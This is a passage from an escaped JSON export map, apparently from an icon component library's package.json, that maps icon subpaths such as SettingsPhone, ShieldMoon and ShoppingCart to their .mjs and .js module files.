\"./SettingsInputHdmiOutlined.mjs\",\n      \"require\": \"./SettingsInputHdmiOutlined.js\",\n      \"default\": \"./SettingsInputHdmiOutlined.mjs\"\n    },\n    \"./SettingsInputHdmiRounded\": {\n      \"import\": \"./SettingsInputHdmiRounded.mjs\",\n      \"require\": \"./SettingsInputHdmiRounded.js\",\n      \"default\": \"./SettingsInputHdmiRounded.mjs\"\n    },\n    \"./SettingsInputHdmiSharp\": {\n      \"import\": \"./SettingsInputHdmiSharp.mjs\",\n      \"require\": \"./SettingsInputHdmiSharp.js\",\n      \"default\": \"./SettingsInputHdmiSharp.mjs\"\n    },\n    \"./SettingsInputHdmiTwoTone\": {\n      \"require\": \"./SettingsInputHdmiTwoTone.js\",\n      \"import\": \"./SettingsInputHdmiTwoTone.mjs\",\n      \"default\": \"./SettingsInputHdmiTwoTone.mjs\"\n    },\n    \"./SettingsInputSvideo\": {\n      \"require\": \"./SettingsInputSvideo.js\",\n      \"import\": \"./SettingsInputSvideo.mjs\",\n      \"default\": \"./SettingsInputSvideo.mjs\"\n    },\n    \"./SettingsInputSvideoOutlined\": {\n      \"require\": \"./SettingsInputSvideoOutlined.js\",\n      \"import\": \"./SettingsInputSvideoOutlined.mjs\",\n      \"default\": \"./SettingsInputSvideoOutlined.mjs\"\n    },\n    \"./SettingsInputSvideoRounded\": {\n      \"require\": \"./SettingsInputSvideoRounded.js\",\n      \"import\": \"./SettingsInputSvideoRounded.mjs\",\n      \"default\": \"./SettingsInputSvideoRounded.mjs\"\n    },\n    \"./SettingsInputSvideoSharp\": {\n      \"require\": \"./SettingsInputSvideoSharp.js\",\n      \"import\": \"./SettingsInputSvideoSharp.mjs\",\n      \"default\": \"./SettingsInputSvideoSharp.mjs\"\n    },\n    \"./SettingsInputSvideoTwoTone\": {\n      \"require\": \"./SettingsInputSvideoTwoTone.js\",\n      \"import\": \"./SettingsInputSvideoTwoTone.mjs\",\n      \"default\": \"./SettingsInputSvideoTwoTone.mjs\"\n    },\n    \"./SettingsOutlined\": {\n      \"require\": \"./SettingsOutlined.js\",\n      \"import\": \"./SettingsOutlined.mjs\",\n      \"default\": \"./SettingsOutlined.mjs\"\n    },\n    \"./SettingsOverscan\": {\n      \"require\": \"./SettingsOverscan.js\",\n      \"import\": \"./SettingsOverscan.mjs\",\n      \"default\": \"./SettingsOverscan.mjs\"\n    },\n    \"./SettingsOverscanOutlined\": {\n      \"require\": \"./SettingsOverscanOutlined.js\",\n      \"import\": \"./SettingsOverscanOutlined.mjs\",\n      \"default\": \"./SettingsOverscanOutlined.mjs\"\n    },\n    \"./SettingsOverscanRounded\": {\n      \"require\": \"./SettingsOverscanRounded.js\",\n      \"import\": \"./SettingsOverscanRounded.mjs\",\n      \"default\": \"./SettingsOverscanRounded.mjs\"\n    },\n    \"./SettingsOverscanSharp\": {\n      \"require\": \"./SettingsOverscanSharp.js\",\n      \"import\": \"./SettingsOverscanSharp.mjs\",\n      \"default\": \"./SettingsOverscanSharp.mjs\"\n    },\n    \"./SettingsOverscanTwoTone\": {\n      \"require\": \"./SettingsOverscanTwoTone.js\",\n      \"import\": \"./SettingsOverscanTwoTone.mjs\",\n      \"default\": \"./SettingsOverscanTwoTone.mjs\"\n    },\n    \"./SettingsPhone\": {\n      \"require\": \"./SettingsPhone.js\",\n      \"import\": \"./SettingsPhone.mjs\",\n      \"default\": \"./SettingsPhone.mjs\"\n    },\n    \"./SettingsPhoneOutlined\": {\n      \"require\": \"./SettingsPhoneOutlined.js\",\n      \"import\": \"./SettingsPhoneOutlined.mjs\",\n      \"default\": \"./SettingsPhoneOutlined.mjs\"\n    },\n    \"./SettingsPhoneRounded\": {\n      \"require\": \"./SettingsPhoneRounded.js\",\n      \"import\": \"./SettingsPhoneRounded.mjs\",\n      \"default\": \"./SettingsPhoneRounded.mjs\"\n    },\n    \"./SettingsPhoneSharp\": {\n      \"require\": \"./SettingsPhoneSharp.js\",\n      \"import\": \"./SettingsPhoneSharp.mjs\",\n      \"default\": \"./SettingsPhoneSharp.mjs\"\n    },\n    \"./SettingsPhoneTwoTone\": {\n      \"require\": \"./SettingsPhoneTwoTone.js\",\n      \"import\": \"./SettingsPhoneTwoTone.mjs\",\n      \"default\": \"./SettingsPhoneTwoTone.mjs\"\n    },\n    \"./SettingsPower\": {\n      \"import\": \"./SettingsPower.mjs\",\n      \"require\": \"./SettingsPower.js\",\n      \"default\": \"./SettingsPower.mjs\"\n    },\n    \"./SettingsPowerOutlined\": {\n      \"import\": \"./SettingsPowerOutlined.mjs\",\n      \"require\": \"./SettingsPowerOutlined.js\",\n      \"default\": \"./SettingsPowerOutlined.mjs\"\n    },\n    \"./SettingsPowerRounded\": {\n      \"import\": \"./SettingsPowerRounded.mjs\",\n      \"require\": \"./SettingsPowerRounded.js\",\n      \"default\": \"./SettingsPowerRounded.mjs\"\n    },\n    \"./SettingsPowerSharp\": {\n      \"import\": \"./SettingsPowerSharp.mjs\",\n      \"require\": \"./SettingsPowerSharp.js\",\n      \"default\": \"./SettingsPowerSharp.mjs\"\n    },\n    \"./SettingsPowerTwoTone\": {\n      \"import\": \"./SettingsPowerTwoTone.mjs\",\n      \"require\": \"./SettingsPowerTwoTone.js\",\n      \"default\": \"./SettingsPowerTwoTone.mjs\"\n    },\n    \"./SettingsRemote\": {\n      \"import\": \"./SettingsRemote.mjs\",\n      \"require\": \"./SettingsRemote.js\",\n      \"default\": \"./SettingsRemote.mjs\"\n    },\n    \"./SettingsRemoteOutlined\": {\n      \"require\": \"./SettingsRemoteOutlined.js\",\n      \"import\": \"./SettingsRemoteOutlined.mjs\",\n      \"default\": \"./SettingsRemoteOutlined.mjs\"\n    },\n    \"./SettingsRemoteRounded\": {\n      \"require\": \"./SettingsRemoteRounded.js\",\n      \"import\": \"./SettingsRemoteRounded.mjs\",\n      \"default\": \"./SettingsRemoteRounded.mjs\"\n    },\n    \"./SettingsRemoteSharp\": {\n      \"require\": \"./SettingsRemoteSharp.js\",\n      \"import\": \"./SettingsRemoteSharp.mjs\",\n      \"default\": \"./SettingsRemoteSharp.mjs\"\n    },\n    \"./SettingsRemoteTwoTone\": {\n      \"require\": \"./SettingsRemoteTwoTone.js\",\n      \"import\": \"./SettingsRemoteTwoTone.mjs\",\n      \"default\": \"./SettingsRemoteTwoTone.mjs\"\n    },\n    \"./SettingsRounded\": {\n      \"require\": \"./SettingsRounded.js\",\n      \"import\": \"./SettingsRounded.mjs\",\n      \"default\": \"./SettingsRounded.mjs\"\n    },\n    \"./SettingsSharp\": {\n      \"require\": \"./SettingsSharp.js\",\n      \"import\": \"./SettingsSharp.mjs\",\n      \"default\": \"./SettingsSharp.mjs\"\n    },\n    \"./SettingsSuggest\": {\n      \"require\": \"./SettingsSuggest.js\",\n      \"import\": \"./SettingsSuggest.mjs\",\n      \"default\": \"./SettingsSuggest.mjs\"\n    },\n    \"./SettingsSuggestOutlined\": {\n      \"require\": \"./SettingsSuggestOutlined.js\",\n      \"import\": \"./SettingsSuggestOutlined.mjs\",\n      \"default\": \"./SettingsSuggestOutlined.mjs\"\n    },\n    \"./SettingsSuggestRounded\": {\n      \"require\": \"./SettingsSuggestRounded.js\",\n      \"import\": \"./SettingsSuggestRounded.mjs\",\n      \"default\": \"./SettingsSuggestRounded.mjs\"\n    },\n    \"./SettingsSuggestSharp\": {\n      \"require\": \"./SettingsSuggestSharp.js\",\n      \"import\": \"./SettingsSuggestSharp.mjs\",\n      \"default\": \"./SettingsSuggestSharp.mjs\"\n    },\n    \"./SettingsSuggestTwoTone\": {\n      \"require\": \"./SettingsSuggestTwoTone.js\",\n      \"import\": \"./SettingsSuggestTwoTone.mjs\",\n      \"default\": \"./SettingsSuggestTwoTone.mjs\"\n    },\n    \"./SettingsSystemDaydream\": {\n      \"require\": \"./SettingsSystemDaydream.js\",\n      \"import\": \"./SettingsSystemDaydream.mjs\",\n      \"default\": \"./SettingsSystemDaydream.mjs\"\n    },\n    \"./SettingsSystemDaydreamOutlined\": {\n      \"require\": \"./SettingsSystemDaydreamOutlined.js\",\n      \"import\": \"./SettingsSystemDaydreamOutlined.mjs\",\n      \"default\": \"./SettingsSystemDaydreamOutlined.mjs\"\n    },\n    \"./SettingsSystemDaydreamRounded\": {\n      \"require\": \"./SettingsSystemDaydreamRounded.js\",\n      \"import\": \"./SettingsSystemDaydreamRounded.mjs\",\n      \"default\": \"./SettingsSystemDaydreamRounded.mjs\"\n    },\n    \"./SettingsSystemDaydreamSharp\": {\n      \"require\": \"./SettingsSystemDaydreamSharp.js\",\n      \"import\": \"./SettingsSystemDaydreamSharp.mjs\",\n      \"default\": \"./SettingsSystemDaydreamSharp.mjs\"\n    },\n    \"./SettingsSystemDaydreamTwoTone\": {\n      \"require\": \"./SettingsSystemDaydreamTwoTone.js\",\n      \"import\": \"./SettingsSystemDaydreamTwoTone.mjs\",\n      \"default\": \"./SettingsSystemDaydreamTwoTone.mjs\"\n    },\n    \"./SettingsTwoTone\": {\n      \"require\": \"./SettingsTwoTone.js\",\n      \"import\": \"./SettingsTwoTone.mjs\",\n      \"default\": \"./SettingsTwoTone.mjs\"\n    },\n    \"./SettingsVoice\": {\n      \"require\": \"./SettingsVoice.js\",\n      \"import\": \"./SettingsVoice.mjs\",\n      \"default\": \"./SettingsVoice.mjs\"\n    },\n    \"./SettingsVoiceOutlined\": {\n      \"import\": \"./SettingsVoiceOutlined.mjs\",\n      \"require\": \"./SettingsVoiceOutlined.js\",\n      \"default\": \"./SettingsVoiceOutlined.mjs\"\n    },\n    \"./SettingsVoiceRounded\": {\n      \"import\": \"./SettingsVoiceRounded.mjs\",\n      \"require\": \"./SettingsVoiceRounded.js\",\n      \"default\": \"./SettingsVoiceRounded.mjs\"\n    },\n    \"./SettingsVoiceSharp\": {\n      \"require\": \"./SettingsVoiceSharp.js\",\n      \"import\": \"./SettingsVoiceSharp.mjs\",\n      \"default\": \"./SettingsVoiceSharp.mjs\"\n    },\n    \"./SettingsVoiceTwoTone\": {\n      \"require\": \"./SettingsVoiceTwoTone.js\",\n      \"import\": \"./SettingsVoiceTwoTone.mjs\",\n      \"default\": \"./SettingsVoiceTwoTone.mjs\"\n    },\n    \"./SevenK\": {\n      \"require\": \"./SevenK.js\",\n      \"import\": \"./SevenK.mjs\",\n      \"default\": \"./SevenK.mjs\"\n    },\n    \"./SevenKOutlined\": {\n      \"require\": \"./SevenKOutlined.js\",\n      \"import\": \"./SevenKOutlined.mjs\",\n      \"default\": \"./SevenKOutlined.mjs\"\n    },\n    \"./SevenKPlus\": {\n      \"require\": \"./SevenKPlus.js\",\n      \"import\": \"./SevenKPlus.mjs\",\n      \"default\": \"./SevenKPlus.mjs\"\n    },\n    \"./SevenKPlusOutlined\": {\n      \"require\": \"./SevenKPlusOutlined.js\",\n      \"import\": \"./SevenKPlusOutlined.mjs\",\n      \"default\": \"./SevenKPlusOutlined.mjs\"\n    },\n    \"./SevenKPlusRounded\": {\n      \"import\": \"./SevenKPlusRounded.mjs\",\n      \"require\": \"./SevenKPlusRounded.js\",\n      \"default\": \"./SevenKPlusRounded.mjs\"\n    },\n    \"./SevenKPlusSharp\": {\n      \"import\": \"./SevenKPlusSharp.mjs\",\n      \"require\": \"./SevenKPlusSharp.js\",\n      \"default\": \"./SevenKPlusSharp.mjs\"\n    },\n    \"./SevenKPlusTwoTone\": {\n      \"import\": \"./SevenKPlusTwoTone.mjs\",\n      \"require\": \"./SevenKPlusTwoTone.js\",\n      \"default\": \"./SevenKPlusTwoTone.mjs\"\n    },\n    \"./SevenKRounded\": {\n      \"import\": \"./SevenKRounded.mjs\",\n      \"require\": \"./SevenKRounded.js\",\n      \"default\": \"./SevenKRounded.mjs\"\n    },\n    \"./SevenKSharp\": {\n      \"import\": \"./SevenKSharp.mjs\",\n      \"require\": \"./SevenKSharp.js\",\n      \"default\": \"./SevenKSharp.mjs\"\n    },\n    \"./SevenKTwoTone\": {\n      \"import\": \"./SevenKTwoTone.mjs\",\n      \"require\": \"./SevenKTwoTone.js\",\n      \"default\": \"./SevenKTwoTone.mjs\"\n    },\n    \"./SevenMp\": {\n      \"import\": \"./SevenMp.mjs\",\n      \"require\": \"./SevenMp.js\",\n      \"default\": \"./SevenMp.mjs\"\n    },\n    \"./SevenMpOutlined\": {\n      \"import\": \"./SevenMpOutlined.mjs\",\n      \"require\": \"./SevenMpOutlined.js\",\n      \"default\": \"./SevenMpOutlined.mjs\"\n    },\n    \"./SevenMpRounded\": {\n      \"import\": \"./SevenMpRounded.mjs\",\n      \"require\": \"./SevenMpRounded.js\",\n      \"default\": \"./SevenMpRounded.mjs\"\n    },\n    \"./SevenMpSharp\": {\n      \"require\": \"./SevenMpSharp.js\",\n      \"import\": \"./SevenMpSharp.mjs\",\n      \"default\": \"./SevenMpSharp.mjs\"\n    },\n    \"./SevenMpTwoTone\": {\n      \"require\": \"./SevenMpTwoTone.js\",\n      \"import\": \"./SevenMpTwoTone.mjs\",\n      \"default\": \"./SevenMpTwoTone.mjs\"\n    },\n    \"./SeventeenMp\": {\n      \"require\": \"./SeventeenMp.js\",\n      \"import\": \"./SeventeenMp.mjs\",\n      \"default\": \"./SeventeenMp.mjs\"\n    },\n    \"./SeventeenMpOutlined\": {\n      \"require\": \"./SeventeenMpOutlined.js\",\n      \"import\": \"./SeventeenMpOutlined.mjs\",\n      \"default\": \"./SeventeenMpOutlined.mjs\"\n    },\n    \"./SeventeenMpRounded\": {\n      \"import\": \"./SeventeenMpRounded.mjs\",\n      \"require\": \"./SeventeenMpRounded.js\",\n      \"default\": \"./SeventeenMpRounded.mjs\"\n    },\n    \"./SeventeenMpSharp\": {\n      \"require\": \"./SeventeenMpSharp.js\",\n      \"import\": \"./SeventeenMpSharp.mjs\",\n      \"default\": \"./SeventeenMpSharp.mjs\"\n    },\n    \"./SeventeenMpTwoTone\": {\n      \"require\": \"./SeventeenMpTwoTone.js\",\n      \"import\": \"./SeventeenMpTwoTone.mjs\",\n      \"default\": \"./SeventeenMpTwoTone.mjs\"\n    },\n    \"./SevereCold\": {\n      \"require\": \"./SevereCold.js\",\n      \"import\": \"./SevereCold.mjs\",\n      \"default\": \"./SevereCold.mjs\"\n    },\n    \"./SevereColdOutlined\": {\n      \"require\": \"./SevereColdOutlined.js\",\n      \"import\": \"./SevereColdOutlined.mjs\",\n      \"default\": \"./SevereColdOutlined.mjs\"\n    },\n    \"./SevereColdRounded\": {\n      \"import\": \"./SevereColdRounded.mjs\",\n      \"require\": \"./SevereColdRounded.js\",\n      \"default\": \"./SevereColdRounded.mjs\"\n    },\n    \"./SevereColdSharp\": {\n      \"import\": \"./SevereColdSharp.mjs\",\n      \"require\": \"./SevereColdSharp.js\",\n      \"default\": \"./SevereColdSharp.mjs\"\n    },\n    \"./SevereColdTwoTone\": {\n      \"import\": \"./SevereColdTwoTone.mjs\",\n      \"require\": \"./SevereColdTwoTone.js\",\n      \"default\": \"./SevereColdTwoTone.mjs\"\n    },\n    \"./ShapeLine\": {\n      \"import\": \"./ShapeLine.mjs\",\n      \"require\": \"./ShapeLine.js\",\n      \"default\": \"./ShapeLine.mjs\"\n    },\n    \"./ShapeLineOutlined\": {\n      \"require\": \"./ShapeLineOutlined.js\",\n      \"import\": \"./ShapeLineOutlined.mjs\",\n      \"default\": \"./ShapeLineOutlined.mjs\"\n    },\n    \"./ShapeLineRounded\": {\n      \"require\": \"./ShapeLineRounded.js\",\n      \"import\": \"./ShapeLineRounded.mjs\",\n      \"default\": \"./ShapeLineRounded.mjs\"\n    },\n    \"./ShapeLineSharp\": {\n      \"require\": \"./ShapeLineSharp.js\",\n      \"import\": \"./ShapeLineSharp.mjs\",\n      \"default\": \"./ShapeLineSharp.mjs\"\n    },\n    \"./ShapeLineTwoTone\": {\n      \"require\": \"./ShapeLineTwoTone.js\",\n      \"import\": \"./ShapeLineTwoTone.mjs\",\n      \"default\": \"./ShapeLineTwoTone.mjs\"\n    },\n    \"./Share\": {\n      \"require\": \"./Share.js\",\n      \"import\": \"./Share.mjs\",\n      \"default\": \"./Share.mjs\"\n    },\n    \"./ShareLocation\": {\n      \"import\": \"./ShareLocation.mjs\",\n      \"require\": \"./ShareLocation.js\",\n      \"default\": \"./ShareLocation.mjs\"\n    },\n    \"./ShareLocationOutlined\": {\n      \"import\": \"./ShareLocationOutlined.mjs\",\n      \"require\": \"./ShareLocationOutlined.js\",\n      \"default\": \"./ShareLocationOutlined.mjs\"\n    },\n    \"./ShareLocationRounded\": {\n      \"import\": \"./ShareLocationRounded.mjs\",\n      \"require\": \"./ShareLocationRounded.js\",\n      \"default\": \"./ShareLocationRounded.mjs\"\n    },\n    \"./ShareLocationSharp\": {\n      \"import\": \"./ShareLocationSharp.mjs\",\n      \"require\": \"./ShareLocationSharp.js\",\n      \"default\": \"./ShareLocationSharp.mjs\"\n    },\n    \"./ShareLocationTwoTone\": {\n      \"import\": \"./ShareLocationTwoTone.mjs\",\n      \"require\": \"./ShareLocationTwoTone.js\",\n      \"default\": \"./ShareLocationTwoTone.mjs\"\n    },\n    \"./ShareOutlined\": {\n      \"import\": \"./ShareOutlined.mjs\",\n      \"require\": \"./ShareOutlined.js\",\n      \"default\": \"./ShareOutlined.mjs\"\n    },\n    \"./ShareRounded\": {\n      \"import\": \"./ShareRounded.mjs\",\n      \"require\": \"./ShareRounded.js\",\n      \"default\": \"./ShareRounded.mjs\"\n    },\n    \"./ShareSharp\": {\n      \"import\": \"./ShareSharp.mjs\",\n      \"require\": \"./ShareSharp.js\",\n      \"default\": \"./ShareSharp.mjs\"\n    },\n    \"./ShareTwoTone\": {\n      \"import\": \"./ShareTwoTone.mjs\",\n      \"require\": \"./ShareTwoTone.js\",\n      \"default\": \"./ShareTwoTone.mjs\"\n    },\n    \"./Shelves\": {\n      \"import\": \"./Shelves.mjs\",\n      \"require\": \"./Shelves.js\",\n      \"default\": \"./Shelves.mjs\"\n    },\n    \"./Shield\": {\n      \"import\": \"./Shield.mjs\",\n      \"require\": \"./Shield.js\",\n      \"default\": \"./Shield.mjs\"\n    },\n    \"./ShieldMoon\": {\n      \"import\": \"./ShieldMoon.mjs\",\n      \"require\": \"./ShieldMoon.js\",\n      \"default\": \"./ShieldMoon.mjs\"\n    },\n    \"./ShieldMoonOutlined\": {\n      \"import\": \"./ShieldMoonOutlined.mjs\",\n      \"require\": \"./ShieldMoonOutlined.js\",\n      \"default\": \"./ShieldMoonOutlined.mjs\"\n    },\n    \"./ShieldMoonRounded\": {\n      \"import\": \"./ShieldMoonRounded.mjs\",\n      \"require\": \"./ShieldMoonRounded.js\",\n      \"default\": \"./ShieldMoonRounded.mjs\"\n    },\n    \"./ShieldMoonSharp\": {\n      \"import\": \"./ShieldMoonSharp.mjs\",\n      \"require\": \"./ShieldMoonSharp.js\",\n      \"default\": \"./ShieldMoonSharp.mjs\"\n    },\n    \"./ShieldMoonTwoTone\": {\n      \"import\": \"./ShieldMoonTwoTone.mjs\",\n      \"require\": \"./ShieldMoonTwoTone.js\",\n      \"default\": \"./ShieldMoonTwoTone.mjs\"\n    },\n    \"./ShieldOutlined\": {\n      \"import\": \"./ShieldOutlined.mjs\",\n      \"require\": \"./ShieldOutlined.js\",\n      \"default\": \"./ShieldOutlined.mjs\"\n    },\n    \"./ShieldRounded\": {\n      \"import\": \"./ShieldRounded.mjs\",\n      \"require\": \"./ShieldRounded.js\",\n      \"default\": \"./ShieldRounded.mjs\"\n    },\n    \"./ShieldSharp\": {\n      \"import\": \"./ShieldSharp.mjs\",\n      \"require\": \"./ShieldSharp.js\",\n      \"default\": \"./ShieldSharp.mjs\"\n    },\n    \"./ShieldTwoTone\": {\n      \"import\": \"./ShieldTwoTone.mjs\",\n      \"require\": \"./ShieldTwoTone.js\",\n      \"default\": \"./ShieldTwoTone.mjs\"\n    },\n    \"./Shop\": {\n      \"import\": \"./Shop.mjs\",\n      \"require\": \"./Shop.js\",\n      \"default\": \"./Shop.mjs\"\n    },\n    \"./Shop2\": {\n      \"require\": \"./Shop2.js\",\n      \"import\": \"./Shop2.mjs\",\n      \"default\": \"./Shop2.mjs\"\n    },\n    \"./Shop2Outlined\": {\n      \"import\": \"./Shop2Outlined.mjs\",\n      \"require\": \"./Shop2Outlined.js\",\n      \"default\": \"./Shop2Outlined.mjs\"\n    },\n    \"./Shop2Rounded\": {\n      \"import\": \"./Shop2Rounded.mjs\",\n      \"require\": \"./Shop2Rounded.js\",\n      \"default\": \"./Shop2Rounded.mjs\"\n    },\n    \"./Shop2Sharp\": {\n      \"import\": \"./Shop2Sharp.mjs\",\n      \"require\": \"./Shop2Sharp.js\",\n      \"default\": \"./Shop2Sharp.mjs\"\n    },\n    \"./Shop2TwoTone\": {\n      \"import\": \"./Shop2TwoTone.mjs\",\n      \"require\": \"./Shop2TwoTone.js\",\n      \"default\": \"./Shop2TwoTone.mjs\"\n    },\n    \"./ShopOutlined\": {\n      \"import\": \"./ShopOutlined.mjs\",\n      \"require\": \"./ShopOutlined.js\",\n      \"default\": \"./ShopOutlined.mjs\"\n    },\n    \"./ShopRounded\": {\n      \"import\": \"./ShopRounded.mjs\",\n      \"require\": \"./ShopRounded.js\",\n      \"default\": \"./ShopRounded.mjs\"\n    },\n    \"./ShopSharp\": {\n      \"import\": \"./ShopSharp.mjs\",\n      \"require\": \"./ShopSharp.js\",\n      \"default\": \"./ShopSharp.mjs\"\n    },\n    \"./ShopTwo\": {\n      \"import\": \"./ShopTwo.mjs\",\n      \"require\": \"./ShopTwo.js\",\n      \"default\": \"./ShopTwo.mjs\"\n    },\n    \"./ShopTwoOutlined\": {\n      \"import\": \"./ShopTwoOutlined.mjs\",\n      \"require\": \"./ShopTwoOutlined.js\",\n      \"default\": \"./ShopTwoOutlined.mjs\"\n    },\n    \"./ShopTwoRounded\": {\n      \"import\": \"./ShopTwoRounded.mjs\",\n      \"require\": \"./ShopTwoRounded.js\",\n      \"default\": \"./ShopTwoRounded.mjs\"\n    },\n    \"./ShopTwoSharp\": {\n      \"import\": \"./ShopTwoSharp.mjs\",\n      \"require\": \"./ShopTwoSharp.js\",\n      \"default\": \"./ShopTwoSharp.mjs\"\n    },\n    \"./ShopTwoTone\": {\n      \"import\": \"./ShopTwoTone.mjs\",\n      \"require\": \"./ShopTwoTone.js\",\n      \"default\": \"./ShopTwoTone.mjs\"\n    },\n    \"./ShopTwoTwoTone\": {\n      \"import\": \"./ShopTwoTwoTone.mjs\",\n      \"require\": \"./ShopTwoTwoTone.js\",\n      \"default\": \"./ShopTwoTwoTone.mjs\"\n    },\n    \"./ShoppingBag\": {\n      \"import\": \"./ShoppingBag.mjs\",\n      \"require\": \"./ShoppingBag.js\",\n      \"default\": \"./ShoppingBag.mjs\"\n    },\n    \"./ShoppingBagOutlined\": {\n      \"import\": \"./ShoppingBagOutlined.mjs\",\n      \"require\": \"./ShoppingBagOutlined.js\",\n      \"default\": \"./ShoppingBagOutlined.mjs\"\n    },\n    \"./ShoppingBagRounded\": {\n      \"import\": \"./ShoppingBagRounded.mjs\",\n      \"require\": \"./ShoppingBagRounded.js\",\n      \"default\": \"./ShoppingBagRounded.mjs\"\n    },\n    \"./ShoppingBagSharp\": {\n      \"import\": \"./ShoppingBagSharp.mjs\",\n      \"require\": \"./ShoppingBagSharp.js\",\n      \"default\": \"./ShoppingBagSharp.mjs\"\n    },\n    \"./ShoppingBagTwoTone\": {\n      \"import\": \"./ShoppingBagTwoTone.mjs\",\n      \"require\": \"./ShoppingBagTwoTone.js\",\n      \"default\": \"./ShoppingBagTwoTone.mjs\"\n    },\n    \"./ShoppingBasket\": {\n      \"import\": \"./ShoppingBasket.mjs\",\n      \"require\": \"./ShoppingBasket.js\",\n      \"default\": \"./ShoppingBasket.mjs\"\n    },\n    \"./ShoppingBasketOutlined\": {\n      \"import\": \"./ShoppingBasketOutlined.mjs\",\n      \"require\": \"./ShoppingBasketOutlined.js\",\n      \"default\": \"./ShoppingBasketOutlined.mjs\"\n    },\n    \"./ShoppingBasketRounded\": {\n      \"import\": \"./ShoppingBasketRounded.mjs\",\n      \"require\": \"./ShoppingBasketRounded.js\",\n      \"default\": \"./ShoppingBasketRounded.mjs\"\n    },\n    \"./ShoppingBasketSharp\": {\n      \"import\": \"./ShoppingBasketSharp.mjs\",\n      \"require\": \"./ShoppingBasketSharp.js\",\n      \"default\": \"./ShoppingBasketSharp.mjs\"\n    },\n    \"./ShoppingBasketTwoTone\": {\n      \"import\": \"./ShoppingBasketTwoTone.mjs\",\n      \"require\": \"./ShoppingBasketTwoTone.js\",\n      \"default\": \"./ShoppingBasketTwoTone.mjs\"\n    },\n    \"./ShoppingCart\": {\n      \"require\": \"./ShoppingCart.js\",\n      \"import\": \"./ShoppingCart.mjs\",\n      \"default\": \"./ShoppingCart.mjs\"\n    },\n    \"./ShoppingCartCheckout\": {\n      \"require\": \"./ShoppingCartCheckout.js\",\n      \"import\": \"./ShoppingCartCheckout.mjs\",\n      \"default\": \"./ShoppingCartCheckout.mjs\"\n    },\n    \"./ShoppingCartCheckoutOutlined\": {\n      \"require\": \"./ShoppingCartCheckoutOutlined.js\",\n      \"import\": \"./ShoppingCartCheckoutOutlined.mjs\",\n      \"default\": \"./ShoppingCartCheckoutOutlined.mjs\"\n    },\n    \"./ShoppingCartCheckoutRounded\": {\n      \"import\": \"./ShoppingCartCheckoutRounded.mjs\",\n      \"require\": \"./ShoppingCartCheckoutRounded.js\",\n      \"default\": \"./ShoppingCartCheckoutRounded.mjs\"\n    },\n    \"./ShoppingCartCheckoutSharp\": {\n      \"import\": \"./ShoppingCartCheckoutSharp.mjs\",\n      \"require\": \"./ShoppingCartCheckoutSharp.js\",\n      \"default\": \"./ShoppingCartCheckoutSharp.mjs\"\n    },\n    \"./ShoppingCartCheckoutTwoTone\": {\n      \"require\": \"./ShoppingCartCheckoutTwoTone.js\",\n      \"import\": \"./ShoppingCartCheckoutTwoTone.mjs\",\n      \"default\": \"./ShoppingCartCheckoutTwoTone.mjs\"\n    },\n    \"./ShoppingCartOutlined\": {\n      \"require\": \"./ShoppingCartOutlined.js\",\n      \"import\": \"./ShoppingCartOutlined.mjs\",\n      \"default\": \"./ShoppingCartOutlined.mjs\"\n    },\n    \"./ShoppingCartRounded\": {\n      \"require\": \"./ShoppingCartRounded.js\",\n      \"import\": \"./ShoppingCartRounded.mjs\",\n      \"default\": \"./ShoppingCartRounded.mjs\"\n    },\n    \"./ShoppingCartSharp\": {\n      \"require\": \"./ShoppingCartSharp.js\",\n      \"import\": \"./ShoppingCartSharp.mjs\",\n      \"default\": \"./ShoppingCartSharp.mjs\"\n    },\n    \"./ShoppingCartTwoTone\": {\n      \"import\": \"./ShoppingCartTwoTone.mjs\",\n      \"require\": \"./ShoppingCartTwoTone.js\",\n      \"default\": \"./ShoppingCartTwoTone.mjs\"\n    },\n    \"./ShortText\": {\n      \"import\": \"./ShortText.mjs\",\n      \"require\": \"./ShortText.js\",\n      \"default\": \"./ShortText.mjs\"\n    },\n    \"./ShortTextOutlined\": {\n      \"import\": \"./ShortTextOutlined.mjs\",\n      \"require\": \"./ShortTextOutlined.js\",\n      \"default\": \"./ShortTextOutlined.mjs\"\n    },\n    \"./ShortTextRounded\": {\n      \"import\": \"./ShortTextRounded.mjs\",\n      \"require\": \"./ShortTextRounded.js\",\n      \"default\": \"./ShortTextRounded.mjs\"\n    },\n    \"./ShortTextSharp\": {\n      \"import\": \"./ShortTextSharp.mjs\",\n      \"require\": \"./ShortTextSharp.js\",\n      \"default\": \"./ShortTextSharp.mjs\"\n    },\n    \"./ShortTextTwoTone\": {\n      \"import\": \"./ShortTextTwoTone.mjs\",\n      \"require\": \"./ShortTextTwoTone.js\",\n      \"default\": \"./ShortTextTwoTone.mjs\"\n    },\n    \"./Shortcut\": {\n      \"import\": \"./Shortcut.mjs\",\n      \"require\": \"./Shortcut.js\",\n      \"default\": \"./Shortcut.mjs\"\n    },\n    \"./ShortcutOutlined\": {\n      \"import\": \"./ShortcutOutlined.mjs\",\n      \"require\": \"./ShortcutOutlined.js\",\n      \"default\": \"./ShortcutOutlined.mjs\"\n    },\n    \"./ShortcutRounded\": {\n      \"import\": \"./ShortcutRounded.mjs\",\n      \"require\": \"./ShortcutRounded.js\",\n      \"default\": \"./ShortcutRounded.mjs\"\n    },\n    \"./ShortcutSharp\": {\n      \"import\": \"./ShortcutSharp.mjs\",\n      \"require\": \"./ShortcutSharp.js\",\n      \"default\": \"./ShortcutSharp.mjs\"\n    },\n    \"./ShortcutTwoTone\": {\n      \"import\": \"./ShortcutTwoTone.mjs\",\n      \"require\": \"./ShortcutTwoTone.js\",\n      \"default\": \"./ShortcutTwoTone.mjs\"\n    },\n    \"./ShowChart\": {\n      \"import\": \"./ShowChart.mjs\",\n      \"require\": \"./ShowChart.js\",\n      \"default\": \"./ShowChart.mjs\"\n    },\n    \"./ShowChartOutlined\": {\n      \"import\": \"./ShowChartOutlined.mjs\",\n      \"require\": \"./ShowChartOutlined.js\",\n      \"default\": \"./ShowChartOutlined.mjs\"\n    },\n    \"./ShowChartRounded\": {\n      \"require\": \"./ShowChartRounded.js\",\n      \"import\": \"./ShowChartRounded.mjs\",\n      \"default\": \"./ShowChartRounded.mjs\"\n    },\n    \"./ShowChartSharp\": {\n      \"import\": \"./ShowChartSharp.mjs\",\n      \"require\": \"./ShowChartSharp.js\",\n      \"default\": \"./ShowChartSharp.mjs\"\n    },\n    \"./ShowChartTwoTone\": {\n      \"require\": \"./ShowChartTwoTone.js\",\n      \"import\": \"./ShowChartTwoTone.mjs\",\n      \"default\": \"./ShowChartTwoTone.mjs\"\n    },\n    \"./Shower\": {\n      \"require\": \"./Shower.js\",\n      \"import\": \"./Shower.mjs\",\n      \"default\": \"./Shower.mjs\"\n    },\n    